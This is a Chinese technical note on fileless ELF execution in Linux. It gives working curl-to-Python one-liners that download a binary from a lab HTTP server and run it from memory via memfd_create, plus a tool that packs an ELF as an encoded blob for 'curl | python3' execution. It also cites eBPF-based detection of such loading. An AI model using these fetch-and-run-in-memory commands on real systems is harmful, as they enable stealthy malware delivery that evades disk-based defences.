标题: 从内存中直接加载执行ELF 作者: Pat H & bluerust 创建: 2021-02-15 更新: 2022-10-19 16:24 链接: https://scz.617.cn/python/202102151155.txt 参看 Using eBPF to uncover in-memory loading - Pat H [2021-02-15] https://blog.tofile.dev/2021/02/15/ebpf-01.html 作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create, 但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。 假设WEB服务在此 cp /usr/bin/id . python3 -m http.server -b 192.168.65.25 8080 在客户端验证WEB服务正常 curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1 在客户端确认memfd_create系统调用号是319 $ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h #define __NR_memfd_create 319 在客户端用curl远程拉id回来,不写硬盘,直接执行 -------------------------------------------------------------------------- curl -s http://192.168.65.25:8080/id | python3 -c ' import sys, os, ctypes libc = ctypes.CDLL( "libc.so.6" ) memfd_create = 319 fd = libc.syscall( memfd_create, "", os.MFD_CLOEXEC ) data = sys.stdin.buffer.read() os.write( fd, data ) path = f"/proc/self/fd/{fd}" os.execv( path, [path,] ) ' -------------------------------------------------------------------------- bluerust提供更短小精悍的版本,不需要找系统调用号,不需要ctypes -------------------------------------------------------------------------- curl -s http://192.168.65.25:8080/id | python3 -c ' import sys, os fd = os.memfd_create( "", os.MFD_CLOEXEC ) data = sys.stdin.buffer.read() os.write( fd, data ) path = f"/proc/self/fd/{fd}" os.execv( path, [path,] ) ' -------------------------------------------------------------------------- 网友「0_ghost_0」(1832267322)分享了一则信息 pip3 install fee fee -a "id -u" /usr/bin/id > id.py fee将命令"id -u"打包成id.py,形如 -------------------------------------------------------------------------- import ctypes, os, base64, zlib l = ctypes.CDLL(None) s = l.syscall c = base64.b64decode( b'eNrtfXt8...fwC0RPDw' ) e = zlib.decompress(c) f = s(319, '', 1) os.write(f, e) p = '/proc/self/fd/%d' % f os.execle(p, 'id', '-u', {}) -------------------------------------------------------------------------- fee原理与Pat H演示的相同,未用os.memfd_create,对ELF进行压缩、BASE64编码。 "python3 id.py"相当于执行"id -u"。执行fee时可以不提供-a参数,相当于简单执 行"id"。这样远程执行 curl -s http://192.168.65.25:8080/id.py | python3 参看 BPF-PipeSnoop https://github.com/pathtofile/bpf-pipesnoop Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。 关于从内存中直接加载动态链接库,参看 Remote Library Injection http://www.hick.org/code/skape/papers/remote-library-injection.pdf dlopen from memory https://github.com/m1m1x/memdlopen (load a dynamic library from memory on 64 bits linux)